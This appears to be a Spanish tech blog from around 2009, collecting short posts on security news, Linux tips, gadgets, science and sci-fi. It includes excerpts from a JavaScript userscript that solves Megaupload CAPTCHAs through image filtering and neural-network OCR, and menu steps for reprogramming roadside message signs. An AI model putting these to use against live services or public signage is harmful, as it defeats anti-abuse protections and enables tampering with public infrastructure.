      En la fantástica web:

      S21sec Blog

      hay unos artículos donde se explica cómo un PDF puede hacer varias cosas más de las que pensamos, entre ellas por ejemplo, ejecutar otra aplicación desde el mismo fichero.

      Si quieres saber más sobre el formato, visita este enlace de Adobe.

      Estos son los artículos:

      Introducción al Portable Document Format

      My Hello World PDF

      Acciones en el PDF

      Ejecución de aplicaciones desde un PDF

      Fotos de nubes espectaculares

      

      Alucinantes fotos, no os perdáis la magnífica colección.

      Visto en:

      Dark Roasted Blend

      HP Laserjet 1020 en Ubuntu Intrepid

      

      Ayer tuve que instalar una HP Laserjet 1020 en mi servidor Ubuntu Intrepid y sorprendentemente me dió un poco de trabajo. Nada más conectar la impresore a uno de los puertos USB, el sistema de la detecto sin problema alguno e incluso me creó una nueva impresora, pero a la hora de imprimir, pues como que no quería imrpimir. La borré, la volví a crear, apagué y encendí la impresora, pero nada. Así que me puse a buscar por los foros de Ubuntu. Algunos posts te decían que ejecutaras: sudo hp-setup Esto ejecuta un script en modo texto que paso a paso te va guiando para la creación de la impresora. El script, me detectaba correctamente la impresora y demás, la creaba, pero seguía sin imprimir. Asi que a seguir buscando, entonces me encontré con otro comentario que apunta a un bug en launchpad donde te daban la solución. 1.- sudo aptitude install hplip-gui 2.- Borra la impresora del sistema. 3.- sudo hp-setup 4.- Asegúrate que el usuario pertenece al grupo lpadmin y scanner. 5.- Apaga la impresora, reinicia el ordenador y vuelve a encender la impresora.

      Kapersky ¿hacked?

      

      Según aparece en hackersblog.org alguien que se hace llamar Unu, dice haber accedido a la base de datos de unas de las compañías más grandes de antivirus con una simple inyección de código SQL. Según dice el intruso, tuvo acceso a todo tipo de datos, tales como: usuarios, códigos de activación, lista de errores, administradores, tienda, etc. Hasta ahora, Kapersky ni ha confirmado, ni a desmentido la intrusión. Personalmente pienso que una compañía como Kapersky, que se dedica a velar por la seguridad de los usuarios, pueda cometer este tipo de errores, aunque hoy en día no pondría la mano en el fuego nor nadie.

      Visita virtual a Battlestar Galactica

      

      Battlestar Galactica

      Todos creo que ya sabéis mi adoración por esta serie que se convertirá en una de las mejores de toda la historia de la Ciencia Ficción. Te recomiendo la temporada cuarta (si has visto las anteriores) ya que los dos últimos episodios emitidos, el 4x13 y 4x14 son ESPECTACULARES.

      En la web de SciFi.com he visto este paseo virtual por Galactica:

      http://www.scifi.com/battlestar/tour/

      Truco: Liberando la memoria caché en Vista y XP

      

      Windows Vista y XP

      ¿Cuantas veces se ha quedado el equipo frito cuando has abierto muchas aplicaciones en Vista y XP?. La única solución es reiniciarlo, ya que el equipo se vuelve inestable y no puedes trabajar con comodidad.

      Puedes crear este acceso directo en tu equipo para eliminar correctamente la memoria del sistema y todos los recursos que provocan esa inestabilidad:

      En el escritorio, botón derecho, "Nuevo" "Acceso Directo"

      Descubierto el exoplaneta más pequeño hasta ahora

      

      Por la misión COROT con participación de la ESA, se ha descubierto un exoplaneta pequeño, ya que tiene de tamaño menos del doble de nuestra Tierra (1,7 veces). Tiene una temperatura entre 1.000 y 1.500 grados centígrados por lo que podría estar cubierto de lava o vapor de agua y el tarda 20 horas en dar la vuelta a su estrella. Se encuentra a 390 años luz de la Tierra y la estrella se llama COROT-Exo-7.

      El circuito Mobius

      

      Usando un rotulador plateado especial (que tenga conductividad) y una tira de papel podemos construir un circuito Mobius de una sola cara.

      Más allá de lo curioso, este método para crear circuitos en otro tipo de superficies tiene su utilidad.

      Todo el proceso de montaje en:

      Evil Mad Scientist Laboratories

      Puedes ver un video del circuito en funcionamiento aquí.

      El creador de MySQL abandona Sun

      

      Michael Widenius es el genio creador de nuestro venerado MySQL. Al parecer no está satisfecho con el desarrollo de MySQL y piensa que podría hacer más contribuciones al software fuera de la compañía Sun. MySQL AB es el nombre de la actual empresa que fue comprada por Sun el pasado año.

      Michael tiene planes para fundar su propía compañía de software.

      Visto en:

      ArsTechnica

      Programa tu propio PDP-11

      

      Si estás aburrido y eres un geek que quiere emular a los grandes programadores de la informática, puedes descargarte un simulador del mítico PDP-11 y empezar a programar en el lenguaje máquina original.

      Descarga simulador PDP-11 SIMH (Windows/Linux)

      Documentación PDP-11

      Documentación hardware PDP-11

      Luego sólo tienes que seguir este tutorial para empezar a hacer tus pinitos con el PDP-11.

      Este programa ejemplo es sólo para el típico “Hello World!”:

      Dos vulnerabilidades en la UAC de Windows 7

      

      Se ha probado que mediante software es posible deshabilitar la UAC sin que el usuario se llegue a dar cuenta. Rafael Rivera ha escrito un programa en VBScript donde prueba que un malware puede deshabilitar la UAC, simplemente emulando la secuencia de entrada de teclado para hacerlo ... y esto es lo curioso del caso. Microsoft niega que esto sea un bug, ellos dicen que es más bien una característica del programa y que es dificil controlar este tipo de "simulación" de pulsación de teclas. ¿Estaremos llegando al punto de ver virus que reproduzcan la secuencia de teclas, para por ejemplo, desactivar nuestro Firewall o nuestro antivirus? ...

      Aves pescando como los Humanos

      Usando un poco de pan para atraer los peces y luego pescarlos, da un poco de miedo ¿no?

      Visto en:

      Neatorama

      Color Infection, jugando otra vez con la física

      

      Este juego es bastante adictivo, el objetivo es convertir las bolas de color amarillo a color marrón. Para conseguirlo tienes que hacer entrar en contacto bolas marrones con bolas amarillas. Cada escenario tiene diferentes mecanismos físicos para poder guiar la bola de una zona del escenario a otro.

      Para jugar:

      Color Infection

      Muy divertido, directo para nuestra colección.

      Visto en:

      Neatorama

      PD: tiene una segunda parte, Color Infection 2.

      Mesa de billar de cristal

      

      No es barata pero está bastante chula, 29.750$.

      Más información aquí.

      Visto en:

      TheFireWire

      Malware en multas de tráfico

      

      Aparece una nueva forma de para la distribución de software malicioso o malware. Este nueva forma se basa básicamente en lo que se conoce como ingeniería social. Según comentan en la web de SANS, en Grand Forks, Dakota del norte, en un parking publico se colocaron sobre algunos coches, lo que pretendía ser una multa por violación de las normas de dicho parking. En la nota, que pretendía ser una multa, decía que para ver las fotos con mas información sobre la supuesta infracción, podías visitar la  pagina web que proporcionaban en dicha nota. Si se visitaba esa pagina, te decía que para ver las fotos de tu vehículo, y aquí el engaño, tenias que instalar una barra de búsqueda de fotos, que evidentemente no es una barra de búsqueda ni mucho menos. Aquí podéis encontrar información mas detallada sobre este caso concreto, como: que se instala en un tu sistema y que es lo que hace.

      Command-line-fu

      

      Command-line-fu es una web donde recogen esos comandos de una sola línea que necesitamos una y otra vez, pero nunca nos acordamos. Cualquiera puede colaborar añadiendo sus propios comandos, sólo tienes que registrarte. Funciona al estilo digg o menéame, puedes comentar o votar las entradas que te parezcan más interesantes. Este es el tipo de información que siempre quieres tener a mano.

      Nueva canción de Smashing Pumpkins, vista en un …

      Puedes descargarla, después de registrarte, aquí.

      Visto en:

      TheFireWire

      Trailer de "The Hunt for Gollum"

      THE HUNT FOR GOLLUM - FULL Trailer 1 from Independent Online Cinema on Vimeo.

      Increible para ser una película de 3.200 € (la mayoría de los actores, maquilladores, etc … trabajó desinteresadamente).

      Basado en los Apéndices de Tolkin, en concreto sobre la búsqueda por parte de Aragorn de Gollum, para conseguir información sobre el Anillo Único.

      Visto en ZonaFandom.

      Sitio original:

      The Hunt for Gollum

      (se estrenará de forma gratuita en breve, estaremos atentos)

      La NASA detecta una señal extraña de radio …

      

      Nadie sabe qué provoca estas ondas de radio, que por otro lado no son raras en nuestro Universo. Muchos objetos emiten estas ondas, como las Galaxias, Estrellas, etc ... Entoces ¿qué tiene de especial esta señal?, pues que la medición es seis veces más potente que cualquira de todas las señales de radio conocidas hasta ahora en el Universo.

      Lo ha detectado un instrumento (instalado en un globo aeroestático)  lanzado en 2006 a una altitud de 36,500 metros, llamada misión Arcade, para detectar el calor generado por las estrellas primigenias, pero que también puede "escuchar" sonidos distantes del Universo.

      Windows 7 DirectAccess

       

      DirectAccess es una nueva característica de Windows 7 y Windows 2008 Server R2. El funcionamiento es el mismo que una VPN, poder crear conexiones seguras por Internet para poder conectarte a tu lugar de trabajo. La diferencia principal es que DirectAccess funciona sin necesidad de intervención del usuario, es transparente.

      Requerimientos:

      • El servidor de DirectAccess se debe de ejecutar en Windows Server 2008 R2
      • Los clientes DirectAccess, con Windows 7
      • Dos tarjetas de red para los servidores DirectAccess
      • Directorio Activo
      • IPv6
      • PKI (Public Key Infrastructure)

      Ventajas:

      • El usuario no tiene que establecer la conexión
      • No tiene que reconectar en caso de corte de conexión a Internet
      • Las políticas de grupo de aplicacan antes de que el usuario se logee
      • Trabaja sin problemas con NAP (Network Access Protection) y NAC (Network Access Control)
      • Encriptación con IPsec

      Puedes ver un resúmen técnico aquí.

      Visto en:

      Camino de crear a SkyNet (o a un nuevo Joshua)

      

      Definición de SkyNet aquí.

      El Gobierno de los Estados Unidos le ha pedido a IBM que les fabrique un superordenador a 20 petaflops (con 1,6 millones de procesadores) para que se encarge de controlar todo el arsenal nuclear del país. No se encargará del lanzamiento, “sólo” del mantenimiento y de diseñar nuevas actuaciones para manipular todo ese equipo radiactivo.

      El nombre en clave será “Sequoia”

      Y otra cosa curiosa, se crea a la vez otro superordenador llamado “Dawn” (este a 500 teraflops) sólo para crear programas que funcionen en Sequoia … a ver si me entero, haces un superodenador para luego hacer otro superodenador para hacer programas para el primero ¿donde está la crisis económica? ¿algo falla no?

      Jugando a los bolos

      Google Earth 5.0 Beta

      Algunas de las nuevas características: Imágenes históricas, mapas del suelo de los océanos y la posibilidad de crear tus propios “tours” por el globo … espectacular.

      Visto en:

      LifeHacker

      USAJOBS Hacked

      

      USAJOBS es una base de datos del gobierno Americano donde se ponen a disposición del publico las ofertas de trabajo gubernamentales.Esta base de datos esta alojada y administrada por la archiconocida Monster.com.

      En un comunicado por USAJOBS.com que ha sido publicado esta mañana dice: ciertos datos de contacto y cuentas has sido tomados, incluyendo identificación de usuarios, contraseñas, direcciones de correo electrónico, nombres, números de teléfono y algunos datos demográficos.

      JSINQ

      

      JSINQ es una librería de Javascript que nos permite escribir consultas al estilo SQL, contra arrays y listas de nodos DOM. También te permite crear elementos HTML desde objetos Javascript (JSON), recibidos asíncronamente (AJAX), por ejemplo. Manipular documentos XML, etc.

      TrackMeNot

      

      TrackMeNot es una extensión para Firefox que te ayuda a que los buscadores no creen un perfil sobre ti. Para ello no usa encriptación ni nada parecido, sino que lo que hace es que periódicamente lanza consultas aleatorias, con lo que consigue camuflar las búsquedas reales del usuario con consultas basura. De esta forma, el buscador creará un perfil tuyo, pero incorrecto. Actualmente soporta AOL, Yahoo!, Google y MSN.

      Jabaco

      

      Jabaco es un lenguaje de programación orientado a objetos con una sintaxias muy parecida a Visual Basic 6. Hasta nada nuevo y mucho os preguntaréis que para que queremos otro VB, aunque según la web oficial, éste orientado a objetos. La peculiaridad de este lenguaje / compilador, es que genera código bytecode para una máquina virtual de Java. Los requerimientos son: • JRE 1.4.2 o superior. • Windows XP o mejor (traducción literal. ¿Soportará Vista?). • 512 Mb de RAM. • 100 Mb de disco duro. • 1024x768 de resolución.

      Teensy USB

      

      Teensy es un completo sistema de desarrollo microcontrolador por USB. Tiene un procesador AVR 16Mhz (AT90USB162).Todo lo que necesitas es un PC con un conector USB.

      Así si te gusta la programación y la electrónica, por tan sólo 19 dólares tienes un juguetito con el que distraerte.

      El reloj Space Invaders

      

      Lamentablemente, no puedes jugar con él (“sólo” puedes ver la hora) pero bueno tampoco está mal.

      Visto en:

      BoingBoing

      Impresionante nueva forma de volar

      Amazing New Water-Powered Jet Pack - Watch more free videos

      Realmente alucinante, y parece una buena idea también que puede tener utilidad en la práctica.

      Visto en:

      GeeksAreSexy

      El primer mapa de la Luna

      

      Thomas Harriot fue el primero, unos meses antes de Galileo, en mirar por un telescopio y hacer un mapa de la Luna.

      Si quieres saber más sobre la historia:

      Takefreetime

      Por cierto, el telescopio no fue inventado en Holanda tal y como se indica en el post original, parece probado que lo inventó un español, el catalán Juan Roget.

      Analizando código fuente JavaScript para …

       

      Siguiendo el hilo del post creado por nuestro colega tuxotron, vamos a ver cómo funciona un programa en JavaScript para pasar el test de un Captcha, en concreto para Megaupload.

      Nuestro interés está por encima de pasar o no el test del Megaupload, radica en la compleja estructura del programa y el objetivo final del mismo, que no es otro que emular al ser humano a la hora de analizar una imágen.

      Shaun Friedle  es el creador de este código. Utiliza el HTML 5 Canvas getImageData API para obtener los pixeles de la imágen. El script también incluye la implementación de una red neuronal escrita en JavaScript puro. Los datos extraidos de la imágen se envían a la red neuronal para adivinar exactamente qué caracteres se han usado, usando técnicas de OCR.

      El código fuente completo puedes encontrarlo aquí:

      http://userscripts.org/scripts/review/38736

      Analizándolo un poco:

      1. El Captcha es copiado al Canvas y convertido en escala de grises:

      function convert_grey(image_data){
        for (var x = 0; x < image_data.width; x++){
          for (var y = 0; y < image_data.height; y++){
            var i = x*4+y*4*image_data.width;
            var luma = Math.floor(image_data.data[i] * 299/1000 +
            image_data.data[i+1] * 587/1000 +
            image_data.data[i+2] * 114/1000); 
            image_data.data[i] = luma;
            image_data.data[i+1] = luma;
            image_data.data[i+2] = luma;
            image_data.data[i+3] = 255;
          }
        }
      }

      2. Luego se separa en tres matrices de pixeles diferentes por cada caracter:

      filter(image_data[0], 105);
      filter(image_data[1], 120);
      filter(image_data[2], 135);

      function filter(image_data, colour){
        for (var x = 0; x < image_data.width; x++){
          for (var y = 0; y < image_data.height; y++){
            var i = x*4+y*4*image_data.width;

            // Turn all the pixels of the certain colour to white
            if (image_data.data[i] == colour) {
              image_data.data[i] = 255;
              image_data.data[i+1] = 255;
              image_data.data[i+2] = 255;
           
            // Everything else to black
            } else {
              image_data.data[i] = 0;
              image_data.data[i+1] = 0;
              image_data.data[i+2] = 0;
            }
          }
        }
      }

      3. Luego se eliminan todos los pixeles que no podemos analizar (posiblemente sean basura), esto se consigue buscando pixeles blancos que están rodeados por otros pixeles negros:

      var i = x*4+y*4*image_data.width;
      var above = x*4+(y-1)*4*image_data.width;
      var below = x*4+(y+1)*4*image_data.width; 
       
      if (image_data.data[i] == 255 &&
        image_data.data[above] == 0 &&
        image_data.data[below] == 0)  {
        image_data.data[i] = 0;
        image_data.data[i+1] = 0;
        image_data.data[i+2] = 0;
      }
      

      Los 10 mandamientos del Programador Java

      

      Aunque el título se refiera al programador Java, estas reglas son aplicables a cualquier tipo de programador. A excepción de la regla número 6, que es específica al lenguaje de programación Java.

      1. Comenta el código. Cuando estamos escribiendo código nuevo, es fácil entender lo que se está haciendo, pero si no tocamos ese código por un periodo de tiempo y tenemos que volver al mismo, ya no es tan obvio. Comentar el código te ayudará a entender más rápidamente la lógica del programa.

      2. No compliques las cosas. Muchas veces queremos solucionar algún problema de la forma más enredada porque está guay. Busca la forma más simple de resolver las cosas. Esto te ayudará a entender el código mejor y a mantenerlo de una manera más eficiente y es menos propenso a errores.

      Preparando super data centers para el boom del …

      

      Microsoft, Google y otros gigantes de la informática están preparando data centers gigantescos para hacer frente al inminente boom del cloud computing.

      Alrededor del río Columbia al noroeste de los Estados Unidos, es donde Google, Microsoft, Amazon y Yahoo (y alguna otra) están construyendo enormes almacenes para albergar la tecnología más avanzada en computación. Unos +10.000 servidores se instalarán en estas modernas instalaciones donde una de las premisas principales es conseguir la energía eléctrica de la forma más barata, si es posible sin coste alguno. Otro factor es el agua, ya que toda la refrigeración de estos ordenadores se hará mediante circuitos líquidos.

      Tutorial de "incron"

      

      Incron es un demonio (de los buenos :-)) que monitoriza los eventos que ocurren en el sistema de fichero. Incron esta basado en Inotify. Con Incron, entre otras muchas cosas, puedes crear un sistemas de backups, control de versiones, estadísticas del uso de ciertos ficheros, notificar a otro demonio sobre el cambio en su fichero de configuración, etc.

      Instalación: La instalación es muy sencilla, en mi caso, uso Ubuntu 8.10. Desde la línea de comandos: sudo aptitude install icron Una vez que se ha instalado, automáticamente arranca el demonio.

      Precuela de "La Cosa"

      

      Esta iniciativa nos gusta más, en vez de cargarte una obra maestra como "La Cosa" de John Carpenter, puedes hacer una precuela que a lo mejor hasta nos gusta y puede que encaje perfectamente en la historia original. En caso contrario puedes obviarlas, como por ejemplo hago yo con las precuelas de "La Guerra de las Galaxias", que no existen en mi universo.

      Esta vez la película nos situará en los hechos acaecidos anteriormente a los relatados en "La Cosa", en un campamento noruego y cómo descubren al alienígena.

      PowerShell, introducción y recursos

      

      Windows

      Si eres administrador de sistemas Windows, tarde o temprano tendrás que empezar a manejar el PowerShell si quieres automatizar algunas operaciones avanzadas del sistema para obtener un mejor control de todos tus servidores y ordenadores clientes, así como de los usuarios.

      Para poder ejecutar los scripts necesitamos la plataforma .NET Framework que puedes descargar desde aquí  (x86) y por supuesto, el PowerShell para XP que puedes descargarlo en este enlace (para otras versiones prueba en la web de Microsoft).

      La Spirit se comporta de forma extraña

      

      La sonda envía una señal de "check" o control, pero no ha respondido a algunos de los últimos chequéos que tendría que haber realizado.

      Algo le pasa a la Spirit, quizás sean sus años o quizás sean los rayos cósmicos, pero desde luego los cinco años que llevan ya en Marte tenían que pasar factura.

      El último fin de semana la sonda indicó que había recibido la información para moverse pero no lo hizo. Luego se movió y no informó. Una de las razones puede ser la autonomía que tiene la sonda de decidir cuando moverse o cuando no, siempre que ella misma evalúe la situación y decida en consecuencia.  

      Final Fantasy XIII trailer

      Aunque no te guste esta saga de videojuegos, tienes que ver el trailer, es espectacular.

      Visto en:

      VidaExtra

      Caca nene, eso no se toca. Ahora remake de "V"

      

      Si es que no se están quietecitos, ahora el remake de la serie que marco toda nuestra generación, “V”.

      Aunque tampoco era una maravilla y fue degenerando poco a poco, uno le tiene cariño ¿no? ;)

      Al parecer la ABC ya ha ordenado la creación del un episodio piloto, en la que se cuenta desde el punto de vista de un agente de Seguridad Nacional y el piloto estará escrito por Scott Peters, creador de “Los 4400” (con esto nos quedamos sólo un poco más tranquilos).

      Calendarios geek del 2009, revista Byte y DrDobb's

      

      Calendarios geek, descarga directa en PDF:

      Calendario Revista Byte

      Calendario Dr Dobb’s Hall of Fame

      Visto en:

      Dr Dobb’s

      Robots autónomos invaden los almacenes

       

      Muchas empresas (como Gap.com) están usando un tipo de robot en sus almacenes, creados por la empresa Kiva Systems (ex-alumnos del MIT).

      Ellos localizan la ubicación del producto que seleccionemos, la estantearía, recogerlo y llevárselo al operador humano.

      Necesitan recargarse 5 minutos por cada hora de trabajo, y este tiempo es controlado por ellos mismos, que saben cuando pueden dejar de trabajar ese tiempo de recarga sin afectar para nada en el trabajo pendiente.

      La historia de Internet en 8 minutos de video

      Explicado de forma sencilla y brillante, en inglés.

      Visto en:

      Gigaom

      Vista de la Vía Láctea, impresionante

      

      No puedo creerme que esta foto sea real (aunque lo sea).

      Es increible que haya todavía lugares en la Tierra donde puedas ver este tipo de maravillas en todo su esplendor.

      Foto tomada en la Isla de Maui en Hawaii.

      Para ver la foto a máxima resolución entra en:

      Astronomy Picture of the Day

      Gmail sin conexión

      

      Googe acaba de poner a disposición de los usuarios que usan Gmail en las versiones US o UK (inglés Americano o del Reino Unido) una nueva característica para usar Gmail cuando estamos desconectados. Cuando activamos esta nueva funcionalidad, Gmail automáticamente descarga nuestro correo localmente y por supuesto mantiene esta copia sincronizada. Cuando Gmail detecta que no tenemos conexión a internet, se pone en modo “offline” y usa la copia local de nuestro correo y puedes seguir usando Gmail tal y como si estuvieras conectado. Incluso puedes escribir nuevos correos, los cuales serán puesto en la cola de salida y en cuanto tengamos conexión de nuevo todos los cambios que hayamos hecho serán efectuados en el servidor y todo volverá a sincronizarse de nuevo. Para activar esta característica tenemos que hacer los siguiente: • Vamos a “Settings” y pinchamos sobre el tab “Labs”. • Donde pone “Offline Gmail”, seleccionamos “Enable”. • Guardamos los cambios en “Save Changes”. • Una vez hecho y se recargue la página de Gmail, deberías ver un nuevo enlace, al lado de tu numbre que dice “Offline”. Pincha sobre este enlace para activar la copia local e instalar Gears, en caso de que no lo tengas ya instalado.

      Introducción a la Algoritmia - MIT -

      

      Uno de los muchos cursos que el MIT ha liberado y ha puesto a disposición del público, es su curso sobre la introducción a la algoritmia. El curso está compuesto por 25 sesiones, de las cuales todas menos las sesiones 20 y 21 están disponibles online.

      Los videos están en inglés por supuesto, pero el autor de este blog está siguiendo el curso y compartiendo sus notas, que aunque están en inglés también, son más fáciles de seguir que el video en cuestión. Estos son los posts que este individuo ha publicado hasta ahora:

      Javascript y redes neuronales

      

      Desde hace unos meses por necesidad laboral he tenido que escribir bastante código en Javascript. Javascript no es un lenguaje que que me haya llamado la atención y lo utilizaba lo menos posible, comprobar los campos de un formulario para alertar al usuario de alguna anomalía, aunque después también hiciera dicha comprobación en el lado del servidor. Desde hace un tiempo me hago la misma pregunta que se hacían en reddit ¿Alguien más ha odiado Javascript, pero últimamente se ha dado cuenta de que es un lenguaje bastante bueno y peculiar? Y es que cuanto más programo en Javascript más me está gustando. Además últimamente estoy viendo cosas muy interesantes, como un Mario Bros del que ya hablamos aquí o un algoritmo escrito por Shaun Friedle, donde demuestra como rellenar el captcha de Megaupload a través de una red neuronal escrita en Javascript. Y aquí una explicación de como funciona dicho algoritmo.

      MSI WindBox adaptable a tu monitor LCD

       

      

      MSI ha sacado un nettop que puedes acoplar a tu pantalla de LCD. LLeva una cpu Atom 1.6 GHz, 1Gb RAM DDR2, Wifi 802.11b/g, 3 USB, salida VGA y algunas cosas más.

      Parece una idea interesante y original, sobre todo para el mundo empresarial.

      Saldrá en noviembre a la venta.

      Página oficial:

      MSI

      Visto en:

      Engadget

      Fotos de "Micros"

      

      Buscando información sobre la arquitectura de algunos procesadores olvidados, me encontré este blog con fantásticas fotos de las entrañas de algunos de estos micros. Vale la pena verlas, fijaros en la ultima de todas :P

      Por cierto luego encontré todo lo que necesitaba aquí.

      Ctrl+Alt+Supr , por el Reno Renardo

      XD que bueno

      Aconsejado por mi amigo Carlos de Madrid en mitad de unos cubatas este pasado fin de semana ;)

      Serie: Invasión (2005)

      

      Muy buena serie de 2005 que de momento se ha quedado en sólo una temporada de 22 episodios. 

      Todo transcurre en Florida, donde después de un huracán, la gente se empieza a comportar de una forma extraña y empiezan a ver extrañas luces sobre las aguas de los pantanos ...

      Si te gustó La Invasión de los Ultracuerpos, esta te encantará.

      Una buena serie de Ciencia Ficción para hacer una maratón uno de estos días tan lluviosos.

      Servicios innecesarios en Windows XP

      

      En DevotedGeek acaban de publicar un artículo, donde hablan sobre los servicios que por defecto corren en Windows XP SP2 y que en circunstancias normales no son necesario y lo único que hacen es consumir memoria y ciclos de de cpu. Así que si te interesa saber como desahogar un poco tu máquina o simplemente saber que servicios corren en tu sistema y que hacen, este puede ser un buen punto de partida.

      Toma CX717 para ser más inteligente.

      

      Existe muy poca información respecto a este compuesto del grupo de las Ampakinas. Está celosamente guardado por las compañías que investigan este tipo de sustancias. Originariamente, hace ya casi 20 años, la ampakina se estudiaba como tratamiento de la somnolencia. Hoy en día lo investiga la compañía americana Cortex Pharmaceuticals, y, según dicen, han conseguido separar un compuesto, el CX717, que consigue mejorar significativamente la "atención, vigilancia, tiempo de reacción y capacidad para resolver problemas" sin los efectos secundarios que provocan las sustancias que conocemos y que realizan la misma tarea: cafeínas, anfetaminas, etc. Este compuesto se encuentra en fase II de experimentación y comercialización, lo que significa que en unos años lo podríamos encontrar en farmacias americanas a muy alto precio (según dicen). Gran Bretaña ya está realizando pruebas sobre humanos y si, como dicen, a largo plazo no existen riesgos, entonces lo que nos tenemos que preguntar es: ¿seriamos más felices si todos fuéramos mozarts o einsteins…? Yo, personalmente, no lo creo.

      51 lugares que no puedes ver en Google Maps

      

      (Imágen: Base Militar censurada)

      Por restricciones de un gobierno, razones legales o incluso errores, en esta lista encontrarás 51 lugares que no puedes ver con el Google Maps.

      Esto no quiere decir que no puedas “visualizarlos”, lo que ocurre es que suelen ser imágenes retocadas o muy viejas.

      La primera es, como no podía ser de otra manera, La Casa Blanca. Aunque puedas verla, esta versión de la imágen está retocada eliminando cualquier información sobre el tipo de defensa antiaérea que posee sobre los tejados (además de ser bastante vieja).

      WWW SQL Designer

      

      Para aquellos interesados en el desarrollo de bases de datos, esta mañana me he topado en code.google.com con este interesante proyecto: wwwsqldesigner. Como en la propia página web del proyecto se indica, WWW SQL Designer te permite crear diseños de bases de datos (esquemas E-R), los cuales pueden ser grabados, cargados y exportados a scripts de SQL. Soporta varias bases de datos y lenguajes. También ofrece la posibilidad de importar un diseño exsitente. El proyecto ha sido desarrollado en JavaScript sobre oz.js y es distribuido bajo la licencia GNU GPL.

      The Lord Of The Rings: Conquest

      Análisis del juego en Meristation y también en la Wikipedia.

      Tiene muy buena pinta.

      Vida terrestre será enviada a Marte

       

      

      La sonda Phobos-Grunt tiene previsto su lanzamiento para octubre. Una de las características más interesantes es que soltará una sonda que aterrizará en Fobos para luego volver a la nave nodriza y regresara a la Tierra con muestras sobre julio del 2012. A esto que ya de por sí es muy interesante, tenemos que añadir además que la sonda llevará en un contenedor uno de los organimos más resistentes (extremófilos) que existen en la Tierra. Entre otros experimentos relacionados con la durabilidad de los organismos en un viaje interplanetario, también se quiere probar la pamspermia, que consiste en la posibilidad de que la vida pueda viajar de un planeta a otro en rocas desprendidas por impactos planetarios.

      deDECTed

      

      DECT (Digital Enhanced Cordless Telecommunications) es un estandar, cerrado, de comunicación para teléfonos inalámbricos. El proyecto deDECTed, se basa en el estudio de DECT para un mejor entendimiento del funcionamiento y de su seguridad, para crear una implementación de abierta de dicho estandar. Proyecto sin duda interesante y que una vez más pone de manifiesto la llamada seguridad por oscuridad (security by obscurity). De hecho, tal y como comentan en su página ya ha aparecido en el foro oficial de DECT, un texto mostrando algo de preocupación interés por los avances de este proyecto.

      Obras de arte famosas, al estilo Simpsons

      

      Puedes verlos todos en:

      Aviary

      Visto en:

      Neatorama

      Consejos para evitar ataques de código malicioso …

      

      De todos es sabido, que el tráfico de viruses en GNU/Linux es muy muy bajo. Esto no quita que nada pueda dañar nuestro sistema. En Laptoplogic han publicado un artículo sobre algunas buenas prácticas para evitar ataques de código malicioso a nuestro sistema. Resumo a continuación los consejos que nos dan:

      • Nunca ejecutes un fichero script, a menos que entiendas lo que hace el código y confíes en la persona que te lo dio.

        Reprogramando las señales de carretera

        

        No estoy muy seguro si en España tenemos estas señales, pero en este post nos muestran como hackearlos reprogramarlos. Según el texto de la noticia y las fotos que se exponen en la web, dentro de esas señales de carretera tienen dentro un teclado con pantalla. Para reprogramar el cacharro, simplemente debemos ir al menu selection -> Intant Text, teclear el mensaje que queremos que aparezca y pulsar enter. Incluso podemos añadir más de una página seleccionando “Add Page”.

        La Fundación Juan March pone a disposición su …

        

        Fundación Juan March

        Tanto en PDF como en MP3 podrás descargarte la mayoría de las conferencias desde 1975.

        Impresionante regalo:

        Lista de ciclos

        Lista de conferenciantes

        Página principal de las conferencias

        Nos llevará tiempo explorar todas ellas pero merece la pena, iremos publicando las que vayamos encontrando que nos puedan ser interesantes (posiblemente la mayoría).

        Para más información mira en:

        El Tamiz

        Top 5 Exoplanetas Extremos

        

        Aún me parece increible que podamos hacer estas listas con planetas que existen realmente fuera de nuestro Sistema Solar.

        Aunque te parezca Ciencia Ficción, son totalmente reales:

        5. Coku Tau/4: se encuentra a 420 años luz alrededor de la estrella Coku Tau 4, es uno de los planetas más jóvenes descubierto, ya que la estrella sólo debe de tener un millón de años. Un buen ejemplar para estudiar planetas jóvenes en periodo de formación.

        El problema de los discos duros Seagate 7200.11

        

        El Seagate 7200.11 puede llegar a no ser reconocido por el equipo y de esta forma dejar inaccesible la información debido a un error de firmware. Esto ocurre cuando el disco duro entra en modo seguridad y protección de datos  (sin motivo aparente) y de esta forma se bloquea.

        Ahora que ha sido reconocido por Seagate, han puesto un enlace oficial donde solucionar este problema con una actualización de la firmware:

        Zotero

        

        Zotero es una extensión para Firefox que te ayuda a recolectar información y automaticamente te guarda con tus notas el enlace desde el cual has recogido dicha información. Una de las características que ofrece es integración con MS Word y OpenOffice.org, así como WordPress. También es capaz de almacenar PDFs, imágenes, enlaces y páginas web completas. Esta extensión es ideal para investigadores.

        Extensión para Firefox: https://addons.mozilla.org/en-US/firefox/addon/3504

        Los 100 mejores libros de Ingeniería del Software

        

        En Knol nos ofrecen una lista de los 100 mejores libros de ingeniería del software. La lista es bastante buena y no tiene desperdicio. Según el autor se ha basado en 4 factores para crear dicha lista:

        • Número de reseñas en Amazon • Media de evaluación en Amazon • Número de visitas en Google • Premios Jolt

        Interesante sin duda, para tener espacio y dinero y montar una pequeña biblioteca.

        Escribiendo Aplicaciones Linux con Javascript

        

        Interesante noticia en Slashdot. Traduzco literalmente.

        El escritorio Gnome podría ofrecer la posibilidad de crear aplicaciones en Javascript gracias a un nuevo proyecto experimental llamado Seed. Ars Technica has escrito un tutorial detallado sobre Seed con varios ejemplos de código. El artículo demuestra como crear aplicaciones GTK+ en Javascript para Linux y explica como Javascript puede influenciar el futuro del desarrallo de Gnome. DE alguna manera, es una evolución de la estrategia pionera llevada a cabo por GNU con Scheme embebido. Ars Technica concluye: La disponibilidad de un lenguaje de script embebido en el escritorio para le extensión de aplicaciones y el desarrollo de plugins habilitará a los usuarios a añadir nuevas funcionalidades al entorno. Tal como esta tecnología vaya madurando e integrando con otros marcos de trabajo como Vala, podría cambiar la forma en el desarrollo de las aplicaciones. Javascript se podría usar como una capa de alto nivel para la manipulación del interfaz de usuario y rapido desarrollo, mientras que Vala o C son usados para tareas de rendimiento sensibles.

        HITBSecConf2008

        

        Los videos de la HITBSecConf2008 - Malaysia están disponible para descarga a través de la red de descargas bittorrent thepiratebay.org

        Videos del día 1

        Keynote Address 1: The Art of Click-Jacking - Jeremiah Grossman Keynote Address 2: Cyberwar is Bullshit - Marcus Ranum

        Presentations:

        • Delivering Identity Management 2.0 by Leveraging OPSS
        • Bluepilling the Xen Hypervisor
        • Pass the Hash Toolkit for Windows
        • Internet Explorer 8 - Trustworthy Engineering and Browsing
        • Full Process Reconsitution from Memory
        • Hacking Internet Kiosks
